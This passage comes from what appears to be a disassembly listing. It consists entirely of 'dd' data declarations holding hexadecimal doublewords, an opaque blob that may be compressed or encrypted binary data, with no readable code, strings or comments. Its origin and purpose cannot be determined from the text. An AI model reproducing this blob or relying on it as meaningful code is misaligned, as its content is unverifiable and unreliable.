8115AE8h, 961C563h dd 701092D6h, 9CBCA415h, 6C11CC48h, 928C79E2h, 670881DFh dd 0E002AE49h, 0D27D467Ah, 0C89E1010h, 0A04C99D3h, 7AB9010h dd 912115Fh, 140949E1h, 4500E92Ah, 32100D08h, 708A4E34h dd 0A8520C46h, 8410CD1h, 0E8AF4821h, 886C44Eh, 927512E1h dd 9CA074B5h, 122E7473h, 0A5E0F108h, 9573233h, 0DA25DD08h dd 9A0C3772h, 86491Ch, 10DDFF6Bh, 2918D2BFh, 72AB2C63h dd 0AF94693Ch, 1851D676h, 0DD119A0Ch, 0E708A16Ah, 1A5D4B14h dd 92080D17h, 5710ABEAh, 25087DA8h, 65A79AD6h, 942C2128h dd 96F50C63h, 0ECB01023h, 65107355h, 894A2F4h, 7E952084h dd 5CDB4927h, 183414A3h, 0C6500812h, 4C0ED488h, 0D5119A6Bh dd 2484CEDAh, 8F3617Bh, 141BBD6Fh, 188D104Bh, 205E0804h dd 903FDC3Eh, 0D26E3D08h, 18A67810h, 90B6F88Ch, 32EE11CDh dd 0FCEEAF89h, 1BD0BA9Dh, 81A420Ch, 70142751h, 0CF78CAF3h dd 76776D2Ch, 12D11820h, 76EC7864h, 0C19884A6h, 0F362793Dh dd 29F108A2h, 7A1CEC2Ch, 7308547Dh, 0CED7BCACh, 10BA27C9h dd 504A7CD2h, 2C4D5C30h, 666812DEh, 6E92109Dh, 770857F3h dd 63C5A873h, 45981055h, 40763FAAh, 6BB4B811h, 98E31178h dd 1508A541h, 0D9D4BA48h, 6B080837h, 0C2F938FAh, 6193EAD1h dd 1C90ACF2h, 1377E1D3h, 63DB6608h, 0A4BCFCCCh, 0F4EF1C27h dd 9212D6D8h, 8122584h, 50841084h, 14680849h, 0BB19D690h dd 0A30C8F50h, 6474AC6Fh, 73A24AECh, 75674310h, 0D54AC8D7h dd 98AB6F1Fh, 0B284EFA8h, 42DE10D0h, 18854A68h, 0BCE39FE1h dd 119B2FACh, 6579E4EFh, 8167F8Dh, 0F86C8464h, 6033B573h dd 202899C7h, 949BC914h, 43E250C4h, 86867008h, 0C918220h dd 0B96B1059h, 25186D7Ch, 21080D88h, 0F2A85DCFh, 117B90BBh dd 948464F0h, 2D703EADh, 6966786Fh, 737F0092h, 8A165F0h dd 59DDEF70h, 5577AE10h, 68EFF108h, 4435DF4Ch, 106510F2h dd 69A4A263h, 0AA7A712Eh, 0B4DAB14Ah, 0DE84AC10h, 0F932772Dh dd 43DF0C12h, 18649579h, 0C9016ADh, 0D3775F97h, 257D8D6Dh dd 78102A93h, 4EE39408h, 5E18B436h, 840E2764h, 5A18E36Bh dd 0B88DCB84h, 8EB58635h, 0A480A8E0h, 9FC31C56h, 74F3D475h dd 0C4796E16h, 353BD59Dh, 0E498A879h, 8DFF0C25h, 1B10AF21h dd 6B103FF4h, 43B86DA3h, 638B6423h, 2C8A6B6Ch, 6DA778C0h dd 0AE970410h, 0C4008E6h, 7008A46Ch, 74238661h, 73658868h dd 0ED04C36Bh, 0DE4C0810h, 5C7A9B2Dh, 5C921511h, 7EEA6546h dd 40849C70h, 6C2537B1h, 782DF9E4h, 0C59114Bh, 0BF4808D1h dd 163F995Ah, 88A8A0Ch, 0AC541012h, 163B10CDh, 80F107Ah dd 11D9504Ch, 0E5F57B73h, 9AF21C0Dh, 2F890B08h, 66FF123Bh dd 0CAA9115Ch, 0EE484D70h, 63FF249Ah, 8D641F7h, 1C421232h dd 79766108h, 0B0730A6Fh, 841468CDh, 18AF14D9h, 7B69587Ch dd 0D942A52Ch, 3D81C9Ah, 0C4809397h, 0B66FD0A2h, 82E0E81Ch dd 96FD7061h, 961F4F6Ch dd 0A8F5C97Ah, 0F6D0F710h, 0BF21DC08h, 753C86F0h, 8E69C673h dd 18D06C4Ch, 6CE05D80h, 0F5677410h, 4C289BCAh, 633B2018h dd 8910C52h, 845A849h, 8457B68h, 9BE62C0Dh, 10224354h dd 9D08A47Bh, 104A3E1Bh, 10A6208Dh, 736C0AD7h, 0A7206808h dd 81AFBC2h, 0FC6B3024h, 0CA35DEDCh, 11995AB8h, 0CC92EE66h dd 6B0A487Ch, 8DAD0879h, 4EE2647Ah, 6B10C8B4h, 0E41364E5h dd 0C0989A1h, 47ABB32Fh, 5D114A0Ch, 68DDDF0Ch, 410868A1h dd 0D79656Bh, 27A4582Ch, 6908EA0Ch, 5214F888h, 0BC610811h dd 0D2244D13h, 0A673B1B0h, 0EAFAD108h, 5C680C47h, 827520Ch dd 6E697272h, 794C691Ah, 0A4F711BEh, 3ED9BC20h, 4A540851h dd 0ADD8824h, 0F33C7A65h, 8ACF119Bh, 0FE7EB738h, 3811612Dh dd 5A089157h, 856826C3h, 94EE0C34h, 0E30C2476h, 0A1EF7878h dd 1034A3CCh, 66892437h, 0B310D2F8h, 60765ABDh, 8A1D9011h dd 843B7030h, 18735310h, 8148069h, 946E18CFh, 756B8208h dd 181A3273h, 467386A5h, 0EC756A08h, 64B2148Ch, 6E0C5CFBh dd 48F720A4h, 64A66310h, 0D504DF1h, 7CDA2228h, 101208AAh dd 37ED754Bh, 5CD1BF08h, 0B311DA74h, 5F5C4DE0h, 0B3250845h dd 6F950817h, 0DAD41055h, 0F6A03A10h, 640C6818h, 2C33C968h dd 0DA3948B2h, 7FB01A11h, 4874AFC1h, 65466B08h, 63886423h dd 7348EF79h, 0B2A554C8h, 620821BBh, 55176775h, 0CE205A69h dd 0D3F8181Ah, 19B69C93h, 0E1088614h, 36180D19h, 4106C2Ch dd 8635170h, 201886A1h, 8BDB98C7h, 46705908h, 0E4431443h dd 0DD5ADC5Dh, 170C04C0h, 89F07729h, 0DF2EACF3h, 253C6021h dd 7525A574h, 70730C21h, 8C61084Ch, 6F30E6FFh, 6BEE8C6Eh dd 6164218Eh, 0DDDACBADh, 82620809h, 93686743h, 3C36E51Ch dd 8E746520h, 4A0C7462h, 69746608h, 10D10466h, 0CDFAD794h dd 6411AF6Fh, 3D96BC52h, 0ECF475AEh, 34937718h, 0AF90C528h dd 107E22ABh, 3FFC13B7h, 61A86211h, 0BE78BF10h, 367C208Ah dd 0F167106Ch, 6610A2F2h, 0E848DE74h, 3208210Ch, 4BE273C0h dd 59615819h, 267ADDB0h, 5E106F8Ch, 95737508h, 5093C076h dd 94DFE414h, 0FBDF2073h, 2D0879A9h, 0A108F308h, 0FDF6AF28h dd 0FDD0362Ah, 4CF3D710h, 62240C43h, 12104D29h, 88F73EFh dd 86F0FCDEh, 6B176CB9h, 0ABBC83F5h, 4697CB5Fh, 2308430Ch dd 7F46B865h, 0A96B6E46h, 11B4CE51h, 0AE70A9A6h, 9B088A0Ch dd 0AD1EC469h, 14B13328h, 116B3B74h, 796D1602h, 0CA18BD6h dd 0D0200821h, 870BA9Fh, 6E42080Ch, 60C43267h, 0C84FE90h dd 8A66FF0h, 6D9B24F3h, 8840CACh, 134C6452h, 77367965h dd 1084D011h, 77C56288h, 76852827h, 4C501835h, 9169CF08h dd 88A721DCh, 59A408C1h, 49EF08A2h, 0DE306C38h, 6EA4272Dh dd 0F34085Ah, 1868104Ah, 1472096Fh, 0E119D740h, 0C9AF646h dd 26D51433h, 88C7E30h, 0EE866570h, 23F5866Eh, 2C985840h dd 114D0E70h, 10A44C09h, 874946Bh, 611023DCh, 7963C8DFh dd 0B300596Bh, 27FD6410h, 0FC698630h, 920A61D2h, 75A53063h dd 116CF526h, 14AE8F97h, 652A7810h, 6EFE2070h, 8A479E2h dd 8AD5709Fh, 94402F08h, 6117DE48h, 69827937h, 0D5E36478h dd 16DE6810h, 5EE88565h, 0B0EC2F3Ah, 0FA011D3h, 5211DF61h dd 7C70F775h, 10B35C93h, 69288C6Eh, 2814B2B7h, 669C080Ch dd 68434378h, 0CF801068h, 0D3307AEEh, 9D100476h, 4F801A88h dd 0BC2170CAh, 6900A64Bh, 0DFF6C610h, 2374DC11h, 69114338h dd 0D810936Ch, 735D7E29h, 0AE9296ACh, 0CCFCD468h, 2DAB6518h dd 9276B02Dh, 0BA737AACh, 8910D6D0h, 1211ADF7h, 7C1457F7h dd 610C48E1h, 676508A4h, 8246494h, 0DC08FB50h, 28644922h dd 0F508A679h, 2432C21Dh, 0ABA26338h, 0A61B135Fh, 93296F92h dd 8B2BA6DDh, 4A0C42DCh, 734FC935h, 78697F75h, 2EE5EDA0h dd 7186BC74h, 78743989h, 8440C57h, 6481D264h, 4A97EC74h dd 0C733D4Ah, 84875249h, 75108A08h, 8AAF7E79h, 821C86Bh dd 4A70641Bh, 0E2609911h, 8AA7507h, 0CF65E84Eh, 4AC6FD3Eh dd 24BC10AEh, 36796EC4h, 84ED08Bh, 0BE646B2Ah, 1F1821B7h dd 0D853E56Dh, 4DF50CA0h, 75107E08h, 4C5BD340h, 0C74B542h dd 1C250824h, 843C0BCh, 0B2546C2Ah, 481CB14Fh, 2508210Ch dd 8AC88DDh, 0CCAF1B2Ch, 0EF18DD34h, 21B5BFE3h, 3C78650Ch dd 6963146Ch, 90778D0Ch, 8211F406h, 28484AC7h, 1A4F1808h dd 14182F7Bh, 706C8510h, 6F940837h, 0EB6B0877h, 0C084338h dd 855643Fh, 2994AC44h, 0EDCDA867h, 900888A1h, 0C518D06Eh dd 0DAB86264h, 8450C46h, 2EA5A315h, 0A87910A5h, 0DA1C5DBCh dd 15C05410h, 115E0879h, 0A5A08E7h, 2008797Fh, 500897E9h dd 0A1936F24h, 0D3019E2h, 0CD2E50h, 24440C09h, 0A962B4C2h dd 79380508h, 65E10855h, 0A98D6D11h, 820811AAh, 77E02710h dd 886948AAh, 714B480Ah, 0B010B4C1h, 8A46414h, 35671881h dd 693E3234h, 961B7810h, 0E718CD80h, 102D1ADDh, 10B325F1h dd 1A698A63h, 293D952Fh, 2FFE2624h, 74BCDF44h, 7310D5BCh dd 1D106A0Dh, 0FCDF10CDh, 988C6428h, 0F508869Bh, 5E9B1AE6h dd 2BBCF5C4h, 189F6499h, 8D4FE75h, 0B5529673h, 68F4E811h dd 5B490848h, 0F64A3EACh, 6C10651Ch, 8246ED4h, 30941034h dd 0BF21105Eh, 42D0D6DBh, 8F116BF1h, 24D95A10h, 0D66CCEE2h dd 6FA08B10h, 81C95618h, 0DD21CEE2h, 204EED53h, 86D19CAh dd 114C8548h, 14754961h, 0C2D8B192h, 3A680891h, 0F7197C76h dd 6A3D557Bh, 41ABF74Bh, 95C62A0Ch, 516E95F2h, 3974EDDFh dd 0ECC45EBEh, 5E55526Ch, 4C7C29BEh, 4916418h, 18FC10B4h dd 811F441h, 1AC2656Dh, 0B408C328h, 3008519Fh, 97478851h dd 6F1E083Ah, 0AA251029h, 0C21509Ch, 736412B1h, 1017084Dh dd 2C5A61E5h, 293DC21Eh, 0C3E25F08h, 4D300828h, 61080C1Eh dd 42776B43h, 6563846Eh, 908D6F4Bh, 1137CFCEh, 11ADA575h dd 0B4791960h, 7D19CD40h, 0CA67E55h, 821E3B6h, 72A51021h dd 0B4E597E7h, 64941421h, 2CB6DA08h, 0BF62B208h, 0BA5F98B2h dd 1A0C32D0h, 44301208h, 8EED0DAh, 0D64210D1h, 7D170841h dd 7305498Bh, 0B0811A5h, 905A528h, 18586677h, 6EF0AC8Ch dd 764212BDh, 0A71021FDh, 0B52B4853h, 57D510B4h, 2F9F10B9h dd 0C4680F4Bh, 12EFD411h, 34DE21FCh, 69C7BD45h, 0F194C610h dd 10C7367Bh, 1974FDEFh, 0E19714FEh, 8497953h, 5E81015h dd 0B408A37Fh, 8147CA1h, 8A010BAh, 8D3514Bh, 79CCC25Eh dd 82C89475h, 3C7A5544h, 597618C8h, 3D94DB72h, 86640808h dd 5B7645FBh, 0A97DC66Dh, 4AD48997h, 0AD4B76C8h, 6A9D18EEh dd 0D6FC2914h, 1427521Ch, 7A11D872h, 0D96DDD55h, 11A6D048h dd 10616B23h, 6F08A763h, 0C674F55h, 9CA9597Ah, 43535CD6h dd 8440C38h, 68BDCA67h, 0A002AC08h, 6BAADF08h, 830CA2B8h dd 796DD108h, 255D2BC2h, 0A4E875D7h, 0E26918D9h, 0A3DA1492h dd 61D971D7h, 9508512Bh, 91BCB24Eh, 63B54A2Ch, 120C74A3h dd 0D6E8BD63h, 95AFA3D7h, 4B684208h, 0BBF6F0B5h, 85197FD4h dd 77C29AA7h, 1427043Ah, 0CB441967h, 0CDFDCFF1h, 808172Ah dd 72274D4Ah, 0C4BE1BBh, 0AB781842h, 8811460Ah, 7DF6FD78h dd 185850BBh, 7C11DBBFh, 6208A22Ah, 2A401375h, 0F0106D7Ah dd 5E794673h, 81D76D4h dd 0BC947967h, 20423448h, 6461CC5Fh, 8CD794Ah, 0B4C4EEACh dd 800810D8h, 6C10A17Bh, 185465E1h, 91AD2064h, 0C7E38741h dd 336B10AAh, 0CDE8F524h, 0A8C4319Bh, 0ED2ADE8Dh, 12CC2F95h dd 0AA965EBDh, 2C53C474h, 9D4FD8E6h, 0FCDD2B05h, 576211A5h dd 640CDA08h, 5874BA6Dh, 34690C0Eh, 11328E08h, 6E88219Ch dd 0E076C967h, 4B087214h, 0F14ECCB3h, 63506A50h, 49114E08h dd 74BD4010h, 0A17449E3h, 63920819h, 0C45D3B6h, 0CC8512Ah dd 4A51EE97h, 8208900Ch, 32797472h, 0E1597277h, 8020C5Dh dd 4A97FE70h, 6184B193h, 671C4C75h, 6B8F68FDh, 0A0615139h dd 0FD188408h, 109A7338h, 104334BBh, 75105A74h, 27A3DE08h dd 104F374Bh, 0C4AAE065h, 112A5A03h, 0D1A714D4h, 481C4824h dd 14D23CD0h, 8B10A678h, 975A789Ah, 11DA386Ch, 0A63C2C0Eh dd 4834AE63h, 1445AC6Ch, 705774E1h, 80FA88CBh, 46454440h dd 4C551A41h, 0A03B2154h, 0A0E713C4h, 0F612977Ch, 0A01082Ah dd 3C086861h, 0DF4469AAh, 24D3A5A8h, 0E0771835h, 1A6E77E2h dd 43183375h, 844A2010h, 45B3E670h, 6B08090Ch, 0B6103C36h dd 69116CE4h, 1290BA9Dh, 6308250Ch, 48342434h, 912CD310h dd 639D67D5h, 4374ABDEh, 0AD1145B8h, 24511B44h, 0DDC45B0Ch dd 8120C74h, 4769F4E1h, 0C8D3189Ah, 4ABE483Ch, 0EC7800A2h dd 0B422F579h, 4BC59F7Ch, 65970CA0h, 550C2090h, 74D90865h dd 3B0D6EE9h, 54666B12h, 349A9B18h, 4B74FF11h, 0B5D40C24h dd 0B62D0C76h, 0F516EF79h, 8ED42EA7h, 81F0C64h, 686277CEh dd 3EA54879h, 1188664Fh, 8A614495h, 14B70808h, 7934136Fh dd 211874FEh, 4C797014h, 0A68E7308h, 6110DE54h, 0D5CBC448h dd 8139C4Ah, 1408DA68h, 544908C8h, 21DDA6C4h, 41DBA00Ch dd 8008066Ch, 14617629h, 5F3CD2BEh, 51F824ABh, 0E24F1808h dd 900C9193h, 0F91A5E08h, 0F8141A9Ch, 0F2794F71h, 0D21490BCh dd 81714B1h, 6273887Fh, 10A96162h, 20296B42h, 0F63600DEh dd 0CD689E10h, 6B841C11h, 5C8C40A6h, 86C178BDh, 0A7B0D394h dd 6A0C4124h, 8C183876h, 0E45DF570h, 0C0661E9h, 58850C8Ch dd 0F8519A25h, 6822F15Ah, 119A0CD0h, 0EFB94B76h, 7661A511h dd 186F78F6h, 58796Bh, 8E950C8Ch, 4A08942Ah, 823C194h dd 964DC65h, 685C6920h, 0A63C106Dh, 0C41515Eh, 0B17F109Ah dd 8A6A79B8h, 14AC70C0h, 70BB088Bh, 0B3653284h, 50104288h dd 43E0F64Fh, 8A47C1Ch, 0A5746123h, 49089E08h, 14A331F6h dd 65106C1Fh, 1768A1D3h, 0A574FA08h, 10362FF1h, 6C7525B8h dd 18DE34CCh, 21F759A5h, 42433808h, 319C7D18h, 0DC3A324Ah dd 0FA325504h, 4AB5D8CEh, 683AD560h, 14A3FFF6h, 41DCBB25h dd 0B8A2A918h, 10685308h, 6F2C997Bh, 0DA4EA893h, 6D385E10h dd 787AE11h, 42BB0CA3h, 109020D1h, 5FCAC496h, 68C6FD10h dd 6445081Eh, 675EAC8Bh, 0E47789D8h, 0AD088A6Fh, 51D211F9h dd 771035BEh, 0ECF68994h, 0AA3F5E69h, 2065B52Fh, 0F273C21h dd 4E3C5425h, 1CFDEAC5h, 0A7766289h, 884BA2Fh, 6362080Ch dd 24321A68h, 0ABE350F2h, 10338011h, 8C84DE6Dh, 0E9A4D20Ch dd 400CD1C4h, 82C97208h, 0C8D0D465h, 1208A10Ch, 99B0DD6Eh dd 6CE96F18h, 9EF20846h, 1E1421B5h, 4267DA69h, 6DB9080Ah dd 7A316810h, 0C94A08AAh, 556B0811h, 6FA90A18h, 0A1F14808h dd 0DF699008h, 0CAC5EAEDh, 833B5D71h, 96E41842h, 0F6111076h dd 0DE18E73h, 8446278h, 0AC10A66Dh, 0F8DD8265h, 0E10886C1h dd 2AC9610Dh, 43084011h, 0A864C10h, 0C657861h, 884808E8h dd 9D086594h, 47345F8h, 14CDB14Ah, 6D0842F8h, 0B21A7061h dd 55E5785Ch, 0D859106Fh, 732310BFh, 2F9DF128h, 54B61321h dd 0E5671065h, 0D08A6BE3h, 375F1442h, 1EEA8B01h, 105FC54Bh dd 11A72CCDh, 0B4081188h, 610848C7h, 0A46CA4CCh, 3E8F9108h dd 8A0CAEF0h, 3EBF7608h, 201479A9h, 62757CE0h, 7A6E1166h dd 1AD61092h, 10D19FA0h, 2A26DF8Ch, 893F10CDh, 58CA6B83h dd 0EF411C42h, 49348419h, 8508AA72h, 85D7985h, 90AC10E9h dd 808E10A2h, 0D002CF82h, 0C9A7075h, 565A14B3h, 4308D111h dd 51E14A10h, 8576EC5h, 8849100Ah, 65450891h, 1065F4F7h dd 8355072h, 0F14F1043h, 32E5043Ch, 89A660Ch, 0EF281032h dd 0DC07B710h, 0EA9D6E11h, 11082ED8h, 59F48492h, 4D730508h dd 6C28C208h, 2A8D69C4h, 92641094h, 0F40910DAh, 19D0E8EEh dd 347528B4h, 10A479F4h, 0F47457F5h, 693DE37Ah, 374B5E10h dd 795F8969h, 0F71CA206h, 0D32566F2h, 6EFCCD10h, 0C099C9Dh dd 0D27C10A0h, 69FFF2D3h, 2B18B210h, 2DAB42E7h, 89F2DE08h dd 22FED608h, 786D5518h, 0FE091275h, 0B1A7526Fh, 0AFF4C241h dd 687810CDh, 0DE086C2Ah, 3195399Ch, 6E251433h, 0C86E8662h dd 0FE7618C9h, 0C764B90h, 0C0D28EDh, 119278D5h, 4A34B273h dd 245164FAh, 6908E31Ch, 8D7B210h, 70681008h, 35B5FB4Bh dd 29FBBC11h, 44B80873h, 0E165F267h, 1953710Dh, 0F918AC34h dd 0A666104Ch, 86DA9878h, 8464B708h, 69740C8Eh, 556508A9h dd 0D15E12Ch, 10F82F94h, 1B940890h, 0D4622C42h, 893676Fh dd 0BCB2215Bh, 0CD970C90h, 5DBE296h, 7F1B5227h, 6208AA64h dd 64C0ADB7h, 28BA54AFh, 8480F74h, 0EF17B24Dh, 848078Ah dd 7A8670BEh, 6518FB63h, 9A250DE1h, 250892CAh, 27BB6710h dd 207CDB6Eh, 184D54C8h, 4372080Ch, 6BD44E74h, 4CF90856h dd 196BC046h, 1065394Bh, 60166B8Eh, 57E92412h, 0CCD618DAh dd 0C26CFACFh, 0D0B25F92h, 0B688BA09h, 0A90AAF4Ch, 0C285A80h dd 5CCD3F08h, 692AF692h, 0D17AE410h, 1A4EF011h, 0C3239ABh dd 0E4DC382Bh, 1A101AD2h, 90B1DD18h, 0D1207867h, 78086514h dd 85210166h, 9142B80Bh, 0E4249012h, 180A2037h, 30994FB8h dd 0C24BDF38h, 0B3D077B8h, 5AE10F8Ch, 0B0D55F0Eh, 0D0E6E316h dd 25A5F771h, 32DB92DFh, 7610320Eh, 307889A4h, 134CB4F1h dd 0BF33716Ch, 824F8C2h, 8C653374h, 4020BD35h, 77083020h dd 0BB64336Eh, 753ED1D1h, 4FD2B2A0h, 0F74F50B2h, 0A4935B14h dd 832FD69h, 4076326Bh, 0B4CC6244h, 4839FD4Dh, 8608772Ah dd 9A70E010h, 9796983Dh, 8EFFA64Ah, 9C0C1596h, 10253134h dd 242D24AAh, 631C0D0Bh, 0F9081517h, 6808D09Ch, 0D52F9A58h dd 0E268FAB1h, 7A95084Ch, 5308A45Ch, 0A94A0879h, 90BD9323h dd 0C5DAA478h, 5A6664CAh, 8656953Ch, 5CA0B829h, 95535295h dd 9A2DD871h, 7659C2A4h, 0BED2C930h, 0B82C69Ah, 213B00DCh dd 0DB42256Ch, 300A170Eh, 2D416C08h, 6CB42595h, 0B670C24h dd 4EC6090Ah, 9D7AF40Ch, 6A627099h, 16B00424h, 82EB9A73h dd 0BCB95DF2h, 485C666Bh, 1537CE38h, 4A8F4290h, 0C0D038ADh dd 0E9B19DAh, 0AF020A41h, 6908F110h, 36E9690Fh, 737788B2h dd 0F5522F28h, 99621B8h, 11CE6C22h, 0F8E43373h, 4193B569h dd 7698DCCh, 16647464h, 6145DCA8h, 4399E77Fh, 39EF6C6Ch dd 0AA4E9679h, 2C8D8234h, 9764117Ch, 77E250ECh, 40849F5h dd 0AF8EAA10h, 97E7BF70h, 35E00C20h, 14B1D395h, 0BFD60936h dd 94C2C7DDh, 430EE10Ch, 0E18C7008h, 8533C219h, 0B519F836h dd 10091CEAh, 0B6CEE47Fh, 5A0CC8FCh, 7558BD58h, 0F97B9D3Ch dd 0D5A550B1h, 0B87E0B29h, 4B3D766Bh, 0E1CC445Fh, 60DCF66Fh dd 43414210h, 5055204Bh dd 0DA3F0EDEh, 2A061BEEh, 94D9304Bh, 9E774FC0h, 57056F15h dd 0B033124Eh, 40F74D34h, 4C49461Ch, 4A57B8F5h, 4428DFECh dd 4F420A10h, 0AC7C4854h, 8534AE2Fh, 1C4C5546h, 52570673h dd 74809E49h, 46F54148h, 5051E308h, 0D4FED718h, 524F5715h dd 4D84613Ch, 4C434E49h, 78458D4Fh, 81645547h, 842528F1h dd 24193325h, 522E3CCBh, 884F52F3h, 0D44D651h, 0B25B99ACh dd 12186FCDh, 0AE5674E2h, 3BE0C94Ah, 3C5825ACh, 778DD1D4h dd 7CCA6B02h, 50A87427h, 7532B2D2h, 6F39117Fh, 0C47CE05Dh dd 962C76D3h, 84B16671h, 0D208B44Fh, 0ECD89AFh, 75651D0Ch dd 33CF1C69h, 2C3DED84h, 3E411012h, 2003A8B1h, 93362E31h dd 2A038F39h, 0DAE8E440h, 307BAE97h, 746F4209h, 6B43ECF7h dd 0E45F582Eh, 7B7E9701h, 5FDA38A3h, 0FCAF13FBh, 52FD5286h dd 0D14C5A0h, 49B5FA0Ah, 5309599h, 6711453Ah, 4B0BEA90h dd 864FA004h, 0F8C3FE6h, 482F41E1h, 197C214Fh, 85781E11h dd 0A2AB7355h, 2DEF5A54h, 0D6341F62h, 2F72DDBBh, 0EA904FFCh dd 2AFC3491h, 2D3AD3BDh, 0A5F561CBh, 3A62E93Bh, 218E29ECh dd 4029D47Ch, 90C64CEBh, 984EE840h, 9832A28Fh, 0B8593A0Ah dd 3C275C3Fh, 907A446Eh, 0D2ED838h, 0DE240A56h, 0A5B874EFh dd 422CC0C1h, 857764F3h, 4C742E97h, 907E2A0Ah, 0AA529255h dd 0AAFF62F5h, 65B60F69h, 2B4624CEh, 74FA97C8h, 480AA2BAh dd 740E672Ah, 6DA1DCB9h, 0A1484B7Fh, 75ED6F4Eh, 0F711F86Bh dd 0A87461F2h, 0A55D4047h, 875014F7h, 12DD2F28h, 1737F72h dd 0FD2509FAh, 50E8B967h, 0BA254AFEh, 55552328h, 0B268226Eh dd 0E90A538Ah, 7EE1F844h, 0FB93FEEDh, 3BB4A09Bh, 66021C9Fh dd 4A905FA7h, 0FAE5651Fh, 1D46AEA6h, 0FDD8205Bh, 0C5707202h dd 52631F54h, 0ACCDFE18h, 52BDFD3Fh, 5F52B84Ch, 0DDB7FD65h dd 510B6790h, 74024955h, 1496723Ah, 44854A90h, 0FEC2F752h dd 2D0451Ch, 2A1D648h, 1842491Bh, 5491D54Ch, 12AC3AF9h dd 0AFA03A8Ah, 93AC927Ch, 9C445569h, 2CB55BBFh, 49045DC4h dd 0A2AB3A44h, 5D65B548h, 3E948A2Ah, 1FFD8894h, 3C4CCA4Ch dd 0A1FD5E53h, 0D7AC1F84h, 176424FFh, 0E82FEA72h, 0AC42264Dh dd 0FF6254BDh, 7FAD2CE2h, 10A458F3h, 0B84C1A3Ch, 82A34FABh dd 663B0059h, 55C02EA4h, 2B682626h, 69841569h, 852148F4h dd 54B5B52Ah, 0D09356C8h, 0A1750429h, 0D355D250h, 6B87A9B8h dd 17D1C2FFh, 20C0CA8Ch, 0B7797E74h, 708D9ECCh, 0CDA4DFA7h dd 0FEE2EE73h, 0F9CAFEF5h, 55246424h, 55F2FDA4h, 0B75EB8D1h dd 0F54BD27Ch, 0D955D3BAh, 70BF5C7Ch, 0AB5495EBh, 0E851557Ah dd 92703D7Ah, 470D2A61h, 8F47E2D8h, 9DAE93FEh, 2D784C62h dd 58105B57h, 64074F5Ah, 5D092D5Dh, 47720865h, 95212211h dd 577A83D4h, 8AF48451h, 1F939221h, 7DDA6B78h, 0FAB83BFFh dd 0B88D80A6h, 434E44D8h, 61A3ED53h, 0F1D5F2B8h, 54B5D428h dd 740A5DD0h, 23FD5066h, 4E65F24Ch, 0B51CBEC9h, 8248817Eh dd 7B412D55h, 3FA86F2Ch, 9953FE97h, 0EC2AB28Dh, 500EBD68h dd 0AB681693h, 0D6532388h, 0D0CEAE91h, 0E323BA5Ah, 0AA605077h dd 1D7EFB61h, 0BF7956DFh, 0EBA928D7h, 0B73E772Fh, 574B34FEh dd 1EDDFC4Eh, 9A96DC79h, 6B105122h, 962764BFh, 5BCE848Dh dd 0B252EF3Ah, 4AE2F08Ah, 6434B2F4h, 6C103A59h, 46D3759h dd 3FD604FDh, 52498234h, 5A38D843h, 902BEB77h, 4B587F4Bh dd 0E2AAE095h, 567388D0h, 4B464087h, 3880D16Dh, 6F4E16AAh dd 19698DBBh, 9FFC3B20h, 17BBB490h, 0DFE57453h, 0C5B7DCA9h dd 4FA0E628h, 0C4E67BC4h, 49ABB579h, 50719CC5h, 69667E84h dd 7ED29F78h, 0D21CB484h, 549569E4h, 3821577Dh, 55466D54h dd 5AB92A68h, 0D3A8DFD2h, 728BAA64h, 94E538D0h, 4A9E6A77h dd 7E0E39EEh, 3F75175Ah, 92D5253Ch, 9B2F9A9h, 0D3123E2Dh dd 95F4F059h, 2AE855F4h, 96B5CCCBh, 2DB45DE4h, 1D558A8Dh dd 6AE448E3h, 6885D680h, 2EF438F2h, 95779A84h, 15D7A7A4h dd 9177A72Ch, 0C736460h, 0C66364E1h, 57F20C53h, 90B9EA6Eh dd 907E9556h, 0BBDCB576h, 0ED6B5652h, 0A5B40A6Eh, 634B59A5h dd 0D83AEE4Ah, 558BBA96h, 0D8E2AEA4h, 0B42C63ADh, 0C9480CBDh dd 8FAC2BADh, 0A9CF1D2h, 69B6F730h, 0F8DE9555h, 58A22EE5h dd 735F12A9h, 59CDBCC5h, 0BCD0FD2Bh, 8768F974h, 0AA486CA9h dd 12666125h, 0EDF67C95h, 0A5340EE8h, 8B4B8CA7h, 0B8F1B404h dd 0C48F232h, 7759A5BDh, 0A6BA0C1Fh, 0D8A88C78h, 0DE953E8Ch dd 3B2EC50Ch, 142CC970h, 0D2E08555h, 0E4A05CF9h, 0AC24089Fh dd 177A75Dh, 67736DC8h, 302B2C44h, 0C67741CBh, 0CB5ED6BAh dd 24B2D39Ch, 0F66379E1h, 50842451h, 0E0EC5241h, 12FB4EBEh dd 0D3A1F64Ah, 3C4730B6h, 6DFCB8DAh, 44E6E525h, 49F7AB77h dd 5A30A570h, 72316E08h, 383F6C1Ah, 16BA12A7h, 0FCB29D38h dd 49BC7455h, 8E0646DFh, 569491F4h, 6C8062BFh, 4E69F63h dd 4E24129Dh, 0D26CF62Ch, 0D0A42F18h, 8A2C9148h, 34A30E72h dd 77525FF2h, 6CD1A0A6h, 3A929DB6h, 75C928CEh, 5CB16A5Dh dd 38B07477h, 24DD754Dh, 0C9264762h, 18BDF25h, 822B445Fh dd 5853F5BCh, 51DB32ADh, 55584823h, 75FA212Eh, 0F054EDBAh dd 79502157h, 14404D44h, 0AA213486h, 2ECA97E9h, 3B106DFCh dd 0DB96E4EDh, 635D7D2Ch, 2C1FE9E1h, 73599D3h, 665FB91Ch dd 0FAE1D31Ch, 0E2F564CAh, 42ACA463h, 4FAE0094h, 0D2803BEBh dd 0C83A6953h, 0B2A44042h, 9552A800h, 6A69BCFCh, 68C9DBB4h dd 0D657DA5Ch, 0F595D6E3h, 90D63C1Bh, 566B5291h, 66FD4F9Ah dd 2E30C550h, 0A93CD450h, 0EC2E580Dh, 4C42AA14h, 373C15E4h dd 6BEC3A2Ch, 7DF1EFC6h, 0E990D0FEh, 0FF5A2C63h, 4B9A512Ah dd 0A15D8054h, 707D7A50h, 7BA2BE91h, 79A38841h, 8FBFD2D9h dd 0DBF89738h, 0AE92857h, 2C69E550h, 0C92F4DD6h, 0DAEC735Fh dd 50689735h, 5A9785FCh, 5C68D957h, 347D65B4h, 0D4E3AF02h dd 0F79C14B9h, 0DA3B4CC3h, 4871DD0Eh, 489885D4h, 0A662C927h dd 1DF26045h, 43548558h, 0EE1B7750h, 0AB6F7473h, 0E4E6CBACh dd 526D56B7h, 56E0D3DDh, 3C972382h, 2B765068h, 25456F50h dd 3A4BAECCh, 894BACCFh, 9225BFAAh, 0CBB46D28h, 5D36CD5Bh dd 393EEDBDh, 3410911Ch, 10301B2Ah, 13434101h, 974F4954h dd 0A713AEB7h, 704BAD80h, 0A880BDE4h, 9F19A445h, 835EE56Ah dd 0F5E2D35Eh, 